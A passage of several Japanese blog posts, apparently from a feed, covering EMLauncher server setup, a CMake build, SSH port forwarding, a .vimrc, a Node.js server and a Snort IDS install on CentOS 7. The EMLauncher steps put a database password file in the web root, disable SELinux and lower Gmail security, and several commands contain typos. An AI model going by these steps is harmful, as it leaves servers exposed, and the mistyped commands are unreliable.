/etc/httpd/conf/httpd.confを編集します。vim /etc/httpd/conf/httpd.conf下記のように修正します。
SetEnv MFW_ENV 'ec2' <Directory "/var/www/html"> Options FollowSymLinks AllowOverride All ...略... </Directory>httpdを有効にします。
systemctl start httpd && systemctl enable httpd5. Database setup
Databaseを有効にします。
systemctl start mariadb && systemctl enable mariadbDatabaseのユーザ名とパスワードを記載した
dbauthファイル作成します。echo 'emlauncher:password' > /var/www/html/dbauth※ 上記の
password部分を置き換えてから実行してください。
emlauncher/data/sql/database.sql内のxxxxxxxxの部分をdbauthのパスワードに合わせて修正します。vim /var/www/html/emlauncher/data/sql/database.sqlemlauncherのdatabase設定をMySQLに流します。
mysql -u root < /var/www/html/emlauncher/data/sql/database.sql mysql -u root emlauncher < /var/www/html/emlauncher/data/sql/tables.sql6. Memcache setup
Memcacheを有効にします。
systemctl start memcached && systemctl enable memcached7. Setup bundletool for Android App Bundle
APKを再署名するためのキーストアは必要ないのでスキップします。
※ 必要の場合はKLab/emlauncherのREADMEを参照して設定してください。
8. Configuration
mfw_serverevn_config.php
config/mfw_serverenv_config_sample.phpをコピーし、$serverenv_config['ec2']['database']['authfile']を 5で作成したdbauthファイルのパスに書き換えます。cd /var/www/html/emlauncher/config cp mfw_serverenv_config_sample.php mfw_serverenv_config.php vim mfw_serverenv_config.php
dbauthファイルパスを書き換えます。'authfile' => '/var/www/html/dbauth',emlauncher_config.php
保存用ディレクトリを作成します。
mkdir /var/www/html/emlauncher-filesApacheが保存用ディレクトリにアクセスできるようにパーミッションを調整します。
chown -R apache:apache /var/www/html/emlauncher-files
config/emlauncher_config_sample.phpをコピーし、自身の環境に合わせて書き換えます。cd /var/www/html/emlauncher/config cp emlauncher_config_sample.php emlauncher_config.php vim emlauncher_config.php以下のように修正します。
'storage_class' => 'LocalFile', 'path' => '/var/www/html/emlauncher-files', 'url_prefix' => '../../../emlauncher-files',9. Complete
ブラウザでEMLauncherのログインページ「 http://仮想マシンのアドレス(192.168.xxx.xxx)/emlauncher/web/login 」が表示されたらEMLauncherの導入が完了です。
ユーザ登録する方法
Mysqlに接続します。パスワードは
dbauthで設定したパスワードです。mysql -u emlauncher -p emlauncherユーザのメールを
user_passテーブルに登録します。INSERT INTO user_pass (mail) VALUES ('hoge@hoge.jp');※
hoge@hoge.jpを自分のメールに置き換えて実行してください。Mysqlから抜けます。
exitEMLauncherのログインページの
forgot passwordからパスワードをリセットします。メール送信について
・EMLauncherはsendmailを使用するので、メールが送信できるように、postfixをインストール、設定してください。
postfixをインストールします。
dnf -y install postfixpostfixを有効にします。
systemctl start postfix && systemctl enable postfix・メールを送る際、"mb_send_mail faild"とエラーが表示された場合SELinuxを無効にしてください。
SELinuxを一時的に無効にします。
setenforce 0SELinuxの設定ファイルの編集で永続的に無効にします。
vim /etc/selinux/config
SELINUXをenforcingからdisableに変更します。
SELINUX=disable・メール送信したけど届かない場合
私の場合はOutbound Port 25 Blockingが原因でしたのでGmailで転送する事で解決しました。
Postfixから転送するために、転送用Gmailアカウントのセキュリティ設定ページで「安全性の低いアプリのアクセス」を有効にしてください。
postfixの設定ファイルにGmailで転送する設定を追加します。
vim /etc/postfix/main.cf一番最後に以下の設定を追加します。
# Gmail relayhost = [smtp.gmail.com]:587 smtp_use_tls = yes smtp_tls_CApath = /etc/pki/tls/certs/ca-bundle.crt smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd smtp_sasl_tls_security_options = noanonymous smtp_sasl_mechanism_filter = plain転送用Gmailアカウント情報を設定します。
vim /etc/postfix/sasl_passwd下記の内容のメールとパスワードの部分を置き換えて記入します。
[smtp.gmail.com]:587 hoge@gmail.com:passwordGmailアカウント情報ファイルからデータベースを作成します。
postmap hash:/etc/postfix/sasl_passwdGmailアカウントとパスワードが記載されたファイルを削除します。
rm -f /etc/postfix/sasl_passwdpsotfixを再起動します。
systemctl restart postfix
- 投稿日:2020-04-30T15:34:10+09:00
CMakeの最新バージョンをUbuntu18.04.4 LTSにインストール
導入
CMakeの最新バージョンをUbuntuにインストールする方法について紹介する。
環境
- Ubuntu 18.04.4 LTS
- gcc 7.5.0
- GNU Make 4.1
- OpenSSL 1.1.1
- libssl-dev 1.1.1
今回インストールを試みたCMakeのバージョン
- CMake 3.17.2最も簡単なインストール方法
最も簡単にCMakeをインストールするならば、apt-get(CentOSなどのRHEL系統はyum)で下記のようにインストールできる。
$ sudo apt-get install cmakeしかし、これで得られるCmakeのバージョンはいくらか古いものになる。
(自分が確認したcmakeのバージョンは3.10だったと思う)
これ以上の最新版(最新版に限らず別のバージョンも然り)を手に入れるには、直接サイトから手に入れるしかない。OpenSSL development package をインストールする
CMakeをインストールするために、OpenSSL development packageが必要になる。
これは、以下のコマンドでインストールすることができる。$ sudo apt-get install libssl-devバージョンの確認は以下のようにしてできる。
$ dpkg -l | grep libssl ii libssl-dev:amd64 1.1.1-1ubuntu2.1~18.04.5 amd64 Secure Sockets Layer toolkit - development filesこれを見るに、version 1.1.1ということらしい。
ちなみに、これに先駆けてOpneSSL自身も以下のようにしてアップデートした。$ sudo apt-get install opensslインストールが完了したら、以下のようにしてバージョンを確認しよう。
user@hyasuda:~$ openssl version OpenSSL 1.1.1 11 Sep 2018CMakeをインストールする
CMakeのソースコードは以下のサイトから手に入れることができる。
https://cmake.org/download/ここでは、当時の最新版である CMake 3.17 をインストールした。
インストールする際には、makeをあらかじめインストールする必要があることに注意すること。ソースファイル(hogehoge.tar.gz)を上記サイトからダウンロードする。
ダウンロードして展開した後のファイルの中身はいかのようになっている。$ ls /path/to/cmake-3.17.2 Auxiliary CMakeLists.txt CTestCustom.cmake.in Help README.rst Utilities doxygen.config CMakeCPack.cmake CMakeLogo.gif CompileFlags.cmake Licenses Source bootstrap CMakeCPackOptions.cmake.in CONTRIBUTING.rst Copyright.txt Modules Templates cmake_uninstall.cmake.in CMakeGraphVizOptions.cmake CTestConfig.cmake DartConfig.cmake Packaging Tests configureこの中にあるbootstrapを実行し、そのあとにmakeを行えば良い。詳しくは中にあるREADME.rstを読むと良い。
(というか、ここに書いてある内容はREADME.rstの中身をそのまま説明している)$ cd /path/to/cmake-3.17.2 $ ./bootstrap && make && make installこれでインストールは完了する。
全て完了した後に、cmakeコマンドでバージョンを確認する。$ cmake --version cmake version 3.17.2まとめ
僕が試した時にはOpenSSLのdevelopment packageがないところで詰まりましたが、その後は問題なく動作することができました。
もしみなさんが詰まったところなどあれば参考までに教えていただけると嬉しいです。
- 投稿日:2020-04-30T12:51:47+09:00
Linux sshポートフォワーディング(トンネル)設定
Linuxサーバに掲題の内容を設定する機会があり、
なんだかんだ時間がかかってしまったためメモ。
そして誰かの役に立ってくれればと思い、書いてみました。やりたかったこと
・Linuxサーバ(Local)にトンネル(local:50000)を設置
・Linuxサーバ(踏み台)からRDSへ接続
・とあるサービス(Linuxサーバ(Local)で動いている)でトンネルを使用してRDSへ接続
・なので自分が接続するためではなく、あくまでなんかのサービス様の利用目的各情報
Localサーバ
・port 50000をRDSへsshポートフォワーディング
踏み台サーバ
ホスト :「999.999.999.999」
ユーザ名:「fumidai」
証明書 :「/etc/ssh/fumidai.pem」RDS
ホスト :「RDS.com」
ポート :「3306」結局いきついたコマンド
上記の各情報を踏まえて以下になりました。
「ssh -o ServerAliveInterval=30 -f -N -L 50000:RDS.com:3306 fumidai@999.999.999.999 -i /etc/ssh/fumidai.pem」簡単なコマンドの説明
オプション「-o」
「-o」オプションを設定することで、ssh_configに記載されているパラメータを設定できるみたい。
「-o XXXXX=30」とか。オプション「-f -N」
ポートフォワーディング(トンネル)のプロセスをバックグラウンドにしたい場合に必要。
二つじゃないとだめ、「-f」だけだと無理。オプション「-L」
Localサーバのlocalポート指定時に使用。
「-R」の場合リモートみたい。詳しくは調べてない。オプション「-i」
証明書の参照先。
コマンドにいきつくまで大変だったこと。
基本的なことだけど、出たとこ勝負でやるところがあるから何度もこけまくった。
証明書の権限
sshは権限に厳しいです。ちゃんと設定しないと接続してくれません。
参考サイト様:「https://note.mokuzine.net/ssh-permission-denied/」プロセスが勝手に落ちる
どこのサイト様を見ても、バックグラウンドでトンネル設定を入れて、削除する場合は
プロセスを見つけてkillするとある。
しかし勝手に落ちられてしまうのは勘弁したい。「-f -N」で動かした以上、バックグラウンドで動いてくれる。
netstatコマンドでも確認したが、ちゃんとListenの状態になっている。
しかし、大体2時間15分後くらいに落ちる。
しかも、プロセス起動して1時間後くらい(Listenのまま放置)に、サービス側に通信させると、
だいぶ放置しちゃったからなのか、ちゃんと通信が行われない。途中で失敗する。
そりゃ、通信も何も無しなので、なんか起きてるんだろうなと思ってました。詳しく調べてみると、karnel?の仕様か何かで、通信が無い場合は、切れるみたい。
実際にプロセスを実行したターミナルにはプロセスが落ちたタイミングで「Write failed: Broken pipe」
って表示されてた。参考サイト様:「https://www.riscascape.net/archives/9570」
:「https://alpha-netzilla.blogspot.com/2011/12/tcp-keepalive.html」
:「https://qiita.com/kuni-nakaji/items/c07004c7d9e5bb683bc2」プロセスをどうにか生き永らえさせる
sshには「ServerAliveInterval」等があり、指定された周期・回数で通信を行ってくれる。
これで勝手に死ぬことはなくなりました。
1時間後くらい(Listenのまま放置)してもちゃんと通信も出来ている。
sshdの設定ではこのあたりの設定はデフォルトで「0」動きません。参考サイト様:「https://qiita.com/ysk24ok/items/2f4ced5edf306fdd9dfb」
:「http://www.koganemaru.co.jp/cgi-bin/mroff.cgi?sect=5&cmd=&lc=1&subdir=man&dir=jpman-11.2.2%2Fman&subdir=man&man=ssh_config」
:「https://tech.sv-cat.net/entry/2018/08/21/190127」今後の課題
といってもやはりプロセスは1回起こせばいいってものじゃない。
多分なんかで落ちてしまう場合があるはず。
通信先の踏み台やRDSが落ちたりしたら、間違いなくプロセスは落ちちゃう。
なので不慮の事故を想定して、再度プロセスを起動する仕組みが必要。
crondで監視して回す予定。systemdでサービス化も考えたけれども、
結局シェル頼みになりそうだから、crondでよさそう。他にもっと良い手段等ございましたら、ご享受いただけると幸いです。
- 投稿日:2020-04-30T11:58:37+09:00
10行以内のスクリプト(2.vimrc)
【初心者向け】10行以内のスクリプト(2.vimrcの記述)
pythonで色々なライブラリを使えば、「少ないコードでもちょっとした事が出来て、少なければ5行程でもちょっとしたスクリプトが作れ、便利だな。」と思ったので、pythonやその他、コマンドを羅列しただけのものも出てくるかも知れませんが、10行程のスクリプトを不定期で投稿してみようと思います。
第2回として、3分で出来る最小限の.vimrcを投稿したいと思います。
pythonでもないのですが、vimrcもスクリプト言語といえると思います。
端末やサーバの設定・運用といったインフラまわりは、vimというより最低限でも良いのでオリジナルのviを覚える必要があり、プログラミングでも開発環境のコンフィグの編集にvimを使いたい場面はまだまだあると思います。近年、Linuxの統合環境も進化し、付属のエディタも手軽で便利だと思います。
開発環境ではIDEもあり、プログラミングはIDEが主流なのだろうと思いますが、私の場合はコンフィグの記述の他、「ちょっとエディタにsqlを書いておいて、貼り付けるか?」とかちょっとしたスクリプトの記述に使う事があります。
特にSQLの場合、標準の環境だと入力に手間が掛かる場合が多いと思います。vimも奥が深く、viやvimの設定ファイルの記述も組み込みのスクリプト言語といえます。
掘り下げると制御構文などもある様で難易度も高いですが、ディストリビューションによっては、インストールした時点で便利に使用出来る場合もあるかと思います。
Linuxのディストリビューションの中には、viの実体が便利なしかし、カスタマイズされたvimのエイリアスになっていたりする場合もあると思います。初期状態で便利過ぎるのも他の環境で使う時に、逆に違和感を感じる事もあると思います。
そう考え、プラグインを使わずに最小限の設定を記述してみようと考えました。
まずは、シンタックス・ハイライトとインデントの設定くらいが入っていれば良いと思い、必要になれば、少しずつ追記する様にする想定です。あまり.vimrcを記述したり、プラグインを導入する事は無かったのですが、最近、debian10を使う事が多くなり、初期状態では、vimのプラグインが導入されていないというより、vimのインストール自体がされていませんでした。
しばらくオリジナルのviを使っていました。
viの設定ファイルを記述しても良いのですが、vimも導入しました。しばらく「set tabstop=4」と良くやっていたのですが、その必要がなくなっただけでも、かなり楽になりました。
1. vimがインストールされていない場合は、インストール
・debian系の場合はapt等で、vim-noxを入れれば、vim本体も入ります。
vimrcで様々な設定を入れる場合は、vim-noxも入れましょう。
・redhat系等はパッケージ名が違います。インストールされているか?確認$ which vim /usr/bin/vim # apt search vim-nox i vim-nox - Vi IMproved - enhanced vi editor - with sc p vim-nox:i386 - Vi IMproved - enhanced vi editor - with sc root@mint01:~# exit2. vimrcの記述
一般ユーザーのホームディレクトリで、.vimrcを編集若しくは、無い場合は新規で作成します。
このコンフィグでは、6行の設定を入れました。
【要注意: .vimrcはドットファイルです】
行頭のダブルクォート「"」は、コメントです。.vimrc$ vim .vimrc " 行番号の表示 set number " 対応するカッコやブレースを表示 set showmatch matchtime=1 " コメントの色(水色)を指定 hi Comment ctermfg=3 " タブキーの文字幅 set shiftwidth=4 " インデント幅 set tabstop=2 " syntax syntax on以上、3分で出来る.vimrcの記述でした。
- 投稿日:2020-04-30T10:44:46+09:00
Node.jsを使ってHTTPサーバを作ってみる
はじめに
この記事はなんとなくJSとかを勉強している学生がメモ代わりに書いているものです。内容は期待しないでください。
1.仮想環境を構築する
今回はUbuntuで行うのでiTerm2で仮想環境を起動する。
起動したところで
1.Virtual Box(バーチャルボックス)
2.Vagrant(ベイグラント)
という2つのソフトウェアを使った仮想環境でUbuntuを使用します。
cd ~/vagrant/ubuntu
vagrant up
vagrant sshUbuntuがインストールされたディレクトリに移動。vagrant upは仮想的なPCにインストールされたUbuntuを起動するコマンドで,vagrant sshはVagrantの仮想マシンがセットされている状態でSSHに接続します。
2.プログラムのひな形(テンプレート)を用意する
ディレクトリ内に以下を記述します。
yarn init
echo "'use strict';" > ファイル名
1行目はyarnで新しいプロジェクトを始める際に記述するものです。
3.プログラムを書く
先ほど記述したファイルに以下を記述します。
'use strict';
const http = require('http');
const server = http.createServer((request, response) => {
response.writeHead(200, {
'Content-Type': 'text/plain; charset=utf-8'
});
response.write(request.headers['なんでもいい']);
response.end();
});
server.listen(8000, () => {
console.log('Listening on 8000' );
});
1行目はJSをstrictモードで利用するための記述です。
2行目はhttpモジュールを引数httpに代入しています。
3~9行目はサーバに関する記述です。
引数に代入したhttpモジュールを使ってサーバを構築しています。記述方法は以下参照。
http.createServer( サーバー側の処理 )
今回はサーバ側の処理でアロー関数を使用しており,引数の一つ目にはリクエストが二つ目にはレスポンスが代入されています。
res.writeHead(200, {
'Content-Type': 'text/plain; charset=utf-8'
});
このコードは200という成功を示すステータスコードと共に、サーバが扱う情報の設定をレスポンスヘッダを書き込んでいます。
7行目はwrite関数を使用してリクエストのヘッダーに文字列を表示しています。表示したい内容によっては以下のように書くこともできます。
res.write(
'<!DOCTYPE html><html lang="ja"><body><h1>文字列</h1></body></html>'
);
8行目はサーバの書き出しが終わったことを示しています。10行目以降はサーバ起動するポートを8000としてlisten関数で特定のポートからリクエストがないかを永続的に調べています。今回はリクエストがあり次第コンソールで文字列を表示しています。
4.サーバを起動してみる
以下を記述してREPLで動作を確認します。
node ファイル名
先ほどのコンソールの文字列が表示されたら成功です。お疲れ様でした!!yarnとは
yarnはnodeをインストールすると自動でインストールされるnpmと役割は同様のパッケージマネージャー(https://yarnpkg.com/en/)。
並行処理でのインストールによってnpmよりも高速にパッケージをインストールできる。httpモジュールとは
「httpモジュール」はHTTPサーバーやHTTPクライアントとしての機能を構築するために使われます。自分のwebサイトをネット上に公開したり、フォームなどからデータを送受信できます。もちろん、静的なWebサイトだけでなくTwitterのような大きなWebサービスを構築することも可能になります。
ポートとは(参照:https://www.nic.ad.jp/ja/basics/terms/port-number.html)
TCP/IP通信においては,IPアドレスがあればネットワーク上のコンピュータを一意に識別することができますが,該当コンピュータのどのプログラムに通信パケットを届けるかは,IPアドレスだけでは決定できません。どのプログラムに通信パケットを渡すのかを決定するために,ポート番号を使用します。
- 投稿日:2020-04-30T09:24:24+09:00
Linuxセキュリテイ対策 Snortによる侵入検知
はじめに
本記事はLinuxのセキュリティ対策として、Snortの侵入検知について記載しています。
Snortはオープンソースのネットワーク型のIDSです。GPL (GNU General Public License) の元に無償で利用できます。
現在も開発が行われているので最新のルールセットを無料でダウンロードして使用することができます。
Snortの構築
Snortはソースで提供されているため、ソースをダウンロードしてmaikする必要があります。
そのため、環境依存が大きく必要なライブラリがインストールされていない場合は、configureでエラーが発生し、依存関係を自分で調べてインストールする必要があります。
本記事ではCentOS7を例にSnortの構築方法について解説します。Snort等のバージョンは本記事執筆時点のバージョンを使用しています。
本記事の環境:CentOS Linux release 7.7.1908 (Core)
Snort
- ディレクトリ移動
# cd /usr/local/src/- Snortのダウンロード
# wget https://www.snort.org/downloads/snort/snort-2.9.16.tar.gz- 解凍
# tar xzvf snort-2.9.16.tar.gz- ディレクトリ移動
# cd snort-2.9.16- configure
# ./coonfigure最少構成でインストールしたCentOS7で
configureを実行するとエラーが発生します。
以降、Snortのディレクトリでconfigure実行後に発生したエラーに対して、必要なライブラリのインストール方法について記載しています。Libpcap
checking for pcap_datalink in -lpcap... no checking pfring.h usability... no checking pfring.h presence... no checking for pfring.h... no checking for pfring_open in -lpfring... no checking for pfring_open in -lpcap... no ERROR! Libpcap library/headers (libpcap.a (or .so)/pcap.h) not found, go get it from http://www.tcpdump.org or use the --with-libpcap-* options, if you have it installed in unusual place. Also check if your libpcap depends on another shared library that may be installed in an unusual place
- libpcapのダウンロード
# wget http://www.tcpdump.org/release/libpcap-1.9.1.tar.gz- 解凍
# tar xzvf libpcap-1.9.1.tar.gz- ディレクトリ移動
# cd libpcap-1.9.1- configure
# ./configure- make
# make
# make installLibpcre
./configure: line 15614: pcre-config: command not found ./configure: line 15620: pcre-config: command not found checking pcre.h usability... no checking pcre.h presence... no checking for pcre.h... no ERROR! Libpcre header not found. Get it from http://www.pcre.org
- pcreのダウンロード
# wget ftp://ftp.pcre.org/pub/pcre/pcre2-10.34.tar.gz- 解凍
# tar xzvf pcre2-10.34.tar.gz- ディレクトリ移動
# cd pcre2-10.34- configure
# ./configure- make
# make
# make installpcre-devel
./configure: line 15614: pcre-config: command not found ./configure: line 15620: pcre-config: command not found checking pcre.h usability... no checking pcre.h presence... no checking for pcre.h... no ERROR! Libpcre header not found. Get it from http://www.pcre.org
- pcre-develのインストール
# yum install -y pcre-develdnet header
checking for SHA256_Init in -lcrypto... no checking for MD5_Init in -lcrypto... no checking dnet.h usability... no checking dnet.h presence... no checking for dnet.h... no checking dumbnet.h usability... no checking dumbnet.h presence... no checking for dumbnet.h... no ERROR! dnet header not found, go get it from http://code.google.com/p/libdnet/ or use the --with-dnet-* options, if you have it installed in an unusual place
- libdnetとlibdnet-develのインストール
# yum install -y libdnet libdnet-develdaq
./configure: line 16267: daq-modules-config: command not found checking for daq_load_modules in -ldaq_static... no ERROR! daq_static library not found, go get it from http://www.snort.org/.
- daqのダウンロード
# wget https://www.snort.org/downloads/snort/daq-2.0.7.tar.gz- 解凍
# tar xzvf daq-2.0.7.tar.gz- ディレクトリ移動
# cd daq-2.0.7- configure
# ./configure- make
# make
makeでエラー発生したので
autoreconfを実行して、再度ビルドCDPATH="${ZSH_VERSION+.}:" && cd . && /bin/sh /usr/local/src/daq-2.0.7/missing aclocal-1.15 -I m4 /usr/local/src/daq-2.0.7/missing: 行 81: aclocal-1.15: コマンドが見つかりません WARNING: 'aclocal-1.15' is missing on your system. You should only need it if you modified 'acinclude.m4' or 'configure.ac' or m4 files included by 'configure.ac'. The 'aclocal' program is part of the GNU Automake package: <http://www.gnu.org/software/automake> It also requires GNU Autoconf, GNU m4 and Perl in order to run: <http://www.gnu.org/software/autoconf> <http://www.gnu.org/software/m4/> <http://www.perl.org/> make: *** [aclocal.m4] エラー 127
- autoconf
# autoreconf- configure
# ./configure- make
# make
# make installzlib
checking zlib.h usability... no checking zlib.h presence... no checking for zlib.h... no ERROR! zlib header not found, go get it from http://www.zlib.net
- zlibのインストール
# yum install -y zlib zlib-develLuaJIT
checking for luajit... no ERROR! LuaJIT library not found. Go get it from http://www.luajit.org/ (or) Try compiling without openAppId using '--disable-open-appid' configure: error: "Fatal!"
- LuaJIT-develのインストール
# yum install -y luajit-devel.x86_64openssl-devel
checking openssl/x509.h usability... no checking openssl/x509.h presence... no checking for openssl/x509.h... no ERROR! openssl/x509.h or openssl library not found. Try compiling without openAppId using '--disable-open-appid' configure: error: "Fatal!"
- openssl-develのインストール
# yum install openssl-devel.x86_64本記事の環境ではopenssl-develのインストール終了後、ようやくSnortの
configureが正常終了しました。以下はSnortのディレクトリで実行しています。
- configure
# ./configure- make
# make
# make installSnortの設定
Snortインストール後、Snortを使用するためにはいくつかの設定が必要になります。
以降、
cpコマンドを使用しているときは/usr/local/src/snort-2.9.16のディレクトリで実行しています。ユーザ作成
- ユーザ作成
# useradd snort/etc/sysconfig/snortの編集
/etc/sysconfig/snortファイルはサービスの設定を行います。
snort.sysconfigのコピー
# cp rpm/snort.sysconfig /etc/sysconfig/snortsnort.sysconfigの編集
# vi /etc/sysconfig/snortINTERFACEの値を使用しているインターフェースの値に変更します。
< INTERFACE=eth0 --- > INTERFACE=enp0s8起動スクリプトの作成
デフォルトの起動スクリプトの実行パスは
/usr/sbin/snortとなっています。インストールされたパスと違うため、シンボリックリンクを作成します。
- 起動スクリプトの作成
# cp rpm/snortd /etc/init.d/
# chmod 755 /etc/init.d/snortd- シンボリックリンクの作成
# ln -s /usr/local/bin/snort /usr/sbin/snortルールセット
一般的にセキュリティソフトやIDSでは、攻撃者の特徴的なアクセスのパターンなどをシグネチャとよんでいます。Snortではルールセット(ルールファイル)に記述されているシグネチャを参照して不正なパケットを検出します。公式サイトのコミュニティ版のルールセットは無料で使用することができます。
- ルールセットのダウンロード
# cd /tmp
# wget https://www.snort.org/downloads/community/community-rules.tar.gz- 解凍
# tar xzvf community-rules.tar.gz- ディレクトリ移動
# cd community-rules- ディレクトリの作成
# mkdir -p /etc/snort/rules- sid-msg.mapのコピー
# cp sid-msg.map /etc/snort/- community.rulesのコピー
# cp community.rules /etc/snort/rules/- 権限変更
# chown -R snort.snort /etc/snortログ設定
- ディレクトリの作成
# mkdir /var/log/snor- 権限変更
# chown -R snort.snort /var/log/snort- snort.logrotateのコピー
# cd /usr/local/src/snort-2.9.16
# cp rpm/snort.logrotate /etc/logrotate.d/snort/etc/snort/snort.confの編集
/etc/snort/snort.confファイルは動作設定ファイルになります。
- snort.confの編集
# vi /etc/snort/snort.confipvar HOME_NETの値を変更し、監視するネットワークを指定します。
< ipvar HOME_NET any --- > ipvar HOME_NET 192.168.1.0/24外部ネットワークアドレスを設定します。 基本的にデフォルトの「any」を指定します。
ipvar EXTERNAL_NET any以下変数の相対パスをカレントパスに修正します。
< var RULE_PATH ../rules < var SO_RULE_PATH ../so_rules < var PREPROC_RULE_PATH ../preproc_rules --- > var RULE_PATH ./rules > var SO_RULE_PATH ./so_rules > var PREPROC_RULE_PATH ./preproc_rules 113,114c113,114 < var WHITE_LIST_PATH ../rules < var BLACK_LIST_PATH ../rules --- > var WHITE_LIST_PATH ./rules > var BLACK_LIST_PATH ./rules 510,512c510,513使用していない設定値のコメントアウト及びcommunity.rulesを追加します。
< nested_ip inner, \ < whitelist $WHITE_LIST_PATH/white_list.rules, \ < blacklist $BLACK_LIST_PATH/black_list.rules --- > # nested_ip inner, \ > nested_ip inner > # whitelist $WHITE_LIST_PATH/white_list.rules, \ > # blacklist $BLACK_LIST_PATH/black_list.rules < include $RULE_PATH/app-detect.rules < include $RULE_PATH/attack-responses.rules < include $RULE_PATH/backdoor.rules < include $RULE_PATH/bad-traffic.rules < include $RULE_PATH/blacklist.rules < include $RULE_PATH/botnet-cnc.rules < include $RULE_PATH/browser-chrome.rules < include $RULE_PATH/browser-firefox.rules < include $RULE_PATH/browser-ie.rules < include $RULE_PATH/browser-other.rules < include $RULE_PATH/browser-plugins.rules < include $RULE_PATH/browser-webkit.rules < include $RULE_PATH/chat.rules < include $RULE_PATH/content-replace.rules < include $RULE_PATH/ddos.rules < include $RULE_PATH/dns.rules < include $RULE_PATH/dos.rules < include $RULE_PATH/experimental.rules < include $RULE_PATH/exploit-kit.rules < include $RULE_PATH/exploit.rules < include $RULE_PATH/file-executable.rules < include $RULE_PATH/file-flash.rules < include $RULE_PATH/file-identify.rules < include $RULE_PATH/file-image.rules < include $RULE_PATH/file-multimedia.rules < include $RULE_PATH/file-office.rules < include $RULE_PATH/file-other.rules < include $RULE_PATH/file-pdf.rules < include $RULE_PATH/finger.rules < include $RULE_PATH/ftp.rules < include $RULE_PATH/icmp-info.rules < include $RULE_PATH/icmp.rules < include $RULE_PATH/imap.rules < include $RULE_PATH/indicator-compromise.rules < include $RULE_PATH/indicator-obfuscation.rules < include $RULE_PATH/indicator-shellcode.rules < include $RULE_PATH/info.rules < include $RULE_PATH/malware-backdoor.rules < include $RULE_PATH/malware-cnc.rules < include $RULE_PATH/malware-other.rules < include $RULE_PATH/malware-tools.rules < include $RULE_PATH/misc.rules < include $RULE_PATH/multimedia.rules < include $RULE_PATH/mysql.rules < include $RULE_PATH/netbios.rules < include $RULE_PATH/nntp.rules < include $RULE_PATH/oracle.rules < include $RULE_PATH/os-linux.rules < include $RULE_PATH/os-other.rules < include $RULE_PATH/os-solaris.rules < include $RULE_PATH/os-windows.rules < include $RULE_PATH/other-ids.rules < include $RULE_PATH/p2p.rules < include $RULE_PATH/phishing-spam.rules < include $RULE_PATH/policy-multimedia.rules < include $RULE_PATH/policy-other.rules < include $RULE_PATH/policy.rules < include $RULE_PATH/policy-social.rules < include $RULE_PATH/policy-spam.rules < include $RULE_PATH/pop2.rules < include $RULE_PATH/pop3.rules < include $RULE_PATH/protocol-finger.rules < include $RULE_PATH/protocol-ftp.rules < include $RULE_PATH/protocol-icmp.rules < include $RULE_PATH/protocol-imap.rules < include $RULE_PATH/protocol-pop.rules < include $RULE_PATH/protocol-services.rules < include $RULE_PATH/protocol-voip.rules < include $RULE_PATH/pua-adware.rules < include $RULE_PATH/pua-other.rules < include $RULE_PATH/pua-p2p.rules < include $RULE_PATH/pua-toolbars.rules < include $RULE_PATH/rpc.rules < include $RULE_PATH/rservices.rules < include $RULE_PATH/scada.rules < include $RULE_PATH/scan.rules < include $RULE_PATH/server-apache.rules < include $RULE_PATH/server-iis.rules < include $RULE_PATH/server-mail.rules < include $RULE_PATH/server-mssql.rules < include $RULE_PATH/server-mysql.rules < include $RULE_PATH/server-oracle.rules < include $RULE_PATH/server-other.rules < include $RULE_PATH/server-webapp.rules < include $RULE_PATH/shellcode.rules < include $RULE_PATH/smtp.rules < include $RULE_PATH/snmp.rules < include $RULE_PATH/specific-threats.rules < include $RULE_PATH/spyware-put.rules < include $RULE_PATH/sql.rules < include $RULE_PATH/telnet.rules < include $RULE_PATH/tftp.rules < include $RULE_PATH/virus.rules < include $RULE_PATH/voip.rules < include $RULE_PATH/web-activex.rules < include $RULE_PATH/web-attacks.rules < include $RULE_PATH/web-cgi.rules < include $RULE_PATH/web-client.rules < include $RULE_PATH/web-coldfusion.rules < include $RULE_PATH/web-frontpage.rules < include $RULE_PATH/web-iis.rules < include $RULE_PATH/web-misc.rules < include $RULE_PATH/web-php.rules < include $RULE_PATH/x11.rules --- > include $RULE_PATH/community.rules他ホスト宛のパケットを受け取るためにプロミスキャスモードの設定を行います。インターフェースのファイルにPROMISCの設定値を追記します。
- ネットワークの設定
# vi /etc/sysconfig/network-scripts/ifcfg-enp0s8PROMISC=yesSnortの動作確認
検証用のルールを作成し、動作確認を行います。
本記事では例としてping検知を行います。ルールファイルの編集
ルールファイルは
/etc/snort/rules配下に格納します。
ルールファイルについて説明します。ルールファイルのシグネチャはルールヘッダと、ルールボディで構成されています。
ルールヘッダ:ルールアクセション/プロトコル/IPアドレス/ポート/方向演算子/IPアドレス/ポート/ ルールボディ:オプションルールアクションには以下の種類があります。
種別 概要 alert ルールにマッチしたパケットをログに出力し、警告を出力 log ルールにマッチしたパケットをログに出力 pass ルールにマッチしたパケットを無視 acitive ルールにマッチしたパケットについて警告を出力し、対応するdynamicルールのアクションを実行 dynamic 該当するパケットをログに出力
- local.rulesの編集
# vi /etc/snort/rules/local.rulesalert icmp any any -> any any (msg: "ICMP Packet detected"; sid:999999;)ルール編集後はsnortの再起動が必要になります。
Snort起動確認
デフォルトの起動スクリプトの中でオプション
-Dが指定されいているため、起動スクリプトを実行した場合はデーモンモードで起動します。
- 起動
# /etc/init.d/snortd start起動時にエラーが出ないことをシスログを見て確認します。
正常に起動している場合は、以下の様なプロセスが確認できます。
[root@localhost snort-2.9.16]# ps aux | grep snort | grep -v grep snort 11481 0.0 6.3 164828 64456 ? Ssl 03:03 0:07 /usr/sbin/snort -A fast -b -d -D -i enp0s8 -u snort -g snort -c /etc/snort/snort.conf -l /var/log/snortまた、以下の様にスニファとして起動することもできます。
スニファとして起動する場合は処理に時間がかかるため、基本的に動作確認以外では使用することはないと思います。
# snort -vRunning in packet dump mode --== Initializing Snort ==-- Initializing Output Plugins! pcap DAQ configured to passive. Acquiring network traffic from "enp0s3". Decoding Ethernet --== Initialization Complete ==-- ,,_ -*> Snort! <*- o" )~ Version 2.9.16 GRE (Build 118) '''' By Martin Roesch & The Snort Team: http://www.snort.org/contact#team Copyright (C) 2014-2020 Cisco and/or its affiliates. All rights reserved. Copyright (C) 1998-2013 Sourcefire, Inc., et al. Using libpcap version 1.9.1 (with TPACKET_V3) Using PCRE version: 8.32 2012-11-30 Using ZLIB version: 1.2.7 Commencing packet processing (pid=17768)ルールファイル(local.rules)の検証
別の端末からpingを実行します。
以下のログを見るとICMPのパケットが検出されたことが確認できます。
- ログ確認
